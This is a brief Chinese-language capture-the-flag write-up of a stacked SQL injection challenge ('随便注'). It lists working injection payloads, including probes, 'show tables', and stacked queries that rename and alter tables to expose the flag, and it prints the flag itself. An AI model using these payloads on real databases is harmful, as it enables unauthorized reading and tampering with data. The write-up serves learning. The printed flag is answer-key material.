随便注,自己就瞎搞一通
1’and 1=1;# 1'and 1=2;#有回显,可能存在注入
1' order by 3;#错误回显,说明数据只有两个字段
想要查询数据 1' select 1,2,database();#
发现正则过滤掉了一些语句
然后发现 1‘or 1=1;# 可以把所有数据查出来,但是我们并没有看到想要的flag相关的信息
select查询被过滤,搞了一通,结果最后还是看了大佬的wp,用到的是堆叠注入,也是今天才知道sql还有这个,分号分开多个查询语句同时可以用。然后我们用学到的新姿势 堆叠注入爆数据库1'; show databases;#
紧接着就继续爆表名 1'; show tables;#
查到两个表,我们查看表结构1';desc `表名`;#
发现flag在1919810931114514这张表中
再查看words表结构,只有id 和data两列数据,而开头我们测试查看表中的数据字段也只有两列,所以猜测提交的就是查询的这张表,又因为堆叠注入,我们就可以利用改名该字段的方式去尝试获得flag
1'; rename table words to junlebao;rename table `1919810931114514`to words; alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
然后再做一下第一遍,1’or 1=1;#
得到 flag{3e8bea8a-3951-4329-a498-d8e1cd3ba48c}
整个文档是参考这位大佬的wirte up https://www.jianshu.com/p/6c6a44517dd7